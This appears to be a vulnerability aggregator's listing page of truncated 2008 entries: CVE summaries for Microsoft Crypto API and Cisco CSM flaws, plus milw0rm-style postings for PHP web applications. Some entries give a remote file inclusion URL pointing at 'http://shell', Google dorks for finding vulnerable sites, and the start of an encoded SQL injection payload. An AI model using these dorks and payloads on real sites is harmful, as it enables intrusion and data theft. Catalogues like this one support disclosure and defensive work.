CVE-2008-3068

Microsoft Crypto API 5.131.2600.2180 through 6.0, as used in Outlook, Windows Live Mail, and Office 2007, performs Certificate Revocation List CRL checks by using an arbitrary URL from a certificate embedded in a 1 S/MIME e-mail message or 2 signed document, which allows remote attackers to obtai...

CVE-2008-3068

Microsoft Crypto API 5.131.2600.2180 through 6.0 (used in Outlook, Windows Live Mail, and Office 2007) performs CRL checks by using an arbitrary URL from a certificate embedded in an S/MIME email or a signed document via the Authority Information Access (AIA) extension. This allows remote attacke...

CVE-2008-3068

Microsoft Crypto API 5.131.2600.2180 through 6.0, as used in Outlook, Windows Live Mail, and Office 2007, performs Certificate Revocation List CRL checks by using an arbitrary URL from a certificate embedded in a 1 S/MIME e-mail message or 2 signed document, which allows remote attackers to obtai...

Unauthorized reading confirmation from Outlook

I've just got an interesting idea about how a malicious e-mail sender could try to get a unseen by the recipient reading confirmation, including the IP address of the recipient. I was working on S/MIME messages and I thought about the signature validation process, where some of the steps could...

Unfixed XSS vulnerability at s-e-arch.com

Security researcher PaPPy, has submitted on 28/05/2008 a cross-site-scripting XSS vulnerability affecting s-e-arch.com, which at the time of submission ranked 1339718 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/06/2008. It is currently...

Debian: Security Advisory (DSA-1586-1)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Memory corruption

Memory leak in Cisco Content Switching Module CSM 4.23 up to 4.28 and Cisco Content Switching Module with SSL CSM-S 2.12 up to 2.17 allows remote attackers to cause a denial of service memory consumption via TCP segments with an unspecified combination of TCP flags...

CVE-2008-1749

The CVE-2008-1749 issue affects Cisco Content Switching Module (CSM) and CSM-S when configured for layer 7 load balancing. A memory leak is triggered while processing TCP segments with a specific combination of TCP flags, causing memory consumption and potential denial of service as the servers b...

scorpnews-rfi.txt

/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to...

ScorpNews 1.0 - site Remote File Inclusion

ScorpNews 1.0 - site Remote File Inclusion /news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...

XOOPS Module Recipe (detail.php id) SQL Injection Vulnerability

No description provided by source. XOOPS Project-RecetteRecipe2.2 SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MA脻L : [email protected] DORK 1 : allinurl :"modules/recipe" EXPLOIT :...

xoopsrecipe-sql.txt

XOOPS Project-RecetteRecipe2.2 SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAÝL : [email protected] DORK 1 : allinurl :"modules/recipe" EXPLOIT : modules/recipe/detail.php?id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2...

XOOPS Module Recipe 2.2 - detail.php SQL Injection

XOOPS Module Recipe 2.2 - detail.php SQL Injection XOOPS Project-RecetteRecipe2.2 SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAÝL : [email protected] DORK 1 : allinurl :"modules/recipe" EXPLOIT :...

XOOPS Module Recipe 2.2 - 'detail.php' SQL Injection

XOOPS Project-RecetteRecipe2.2 SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 MAÝL : [email protected] DORK 1 : allinurl :"modules/recipe" EXPLOIT : modules/recipe/detail.php?id=-9999999%2F%2A%2A%2Funion%2F%2A%2A%2...

Koobi Pro 6.25 poll Remote SQL Injection Vulnerability

Koobi Pro 6.25 poll Remote SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.r57shell.in WEBSiTE: http://www.xcorpitx-hack.com/Forum/ BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : allinurl: "index.php?p=poll"showresult DORK 2 : allinur...

CVE-2008-1785

delete.php in Prozilla Top 100 1.2 allows remote authenticated users to delete statistics and accounts of arbitrary users via a modified s parameter...

koobipropoll-sql.txt

Koobi Pro 6.25 poll Remote SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 WEBSiTE: http://www.xcorpitx-hack.com/Forum/ BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : allinurl: "index.php?p=poll"showresult DORK...

Dream4 Koobi Pro 6.25 Poll - 'poll_id' SQL Injection

Koobi Pro 6.25 poll Remote SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 WEBSiTE: http://www.xcorpitx-hack.com/Forum/ BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : allinurl: "index.php?p=poll"showresult DORK...

Pollbooth 2.0 - 'pollID' SQL Injection

Pollbooth v2.0 SQL Injection Vulnerability AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 WEBSiTE: http://www.xcorpitx-hack.com/Forum/ BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : allinurl: "pollBooth.php?op=results"pollID EXPLOiT :...

rxmaxsoft-sql.txt

Provozováno na RS MAXSOFT SQL-Injection PAGE:http://redakcni-system.maxsoft.cz/ AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : "RS MAXSOFT" DORK 2 : "Provozováno na RS MAXSOFT" you will see...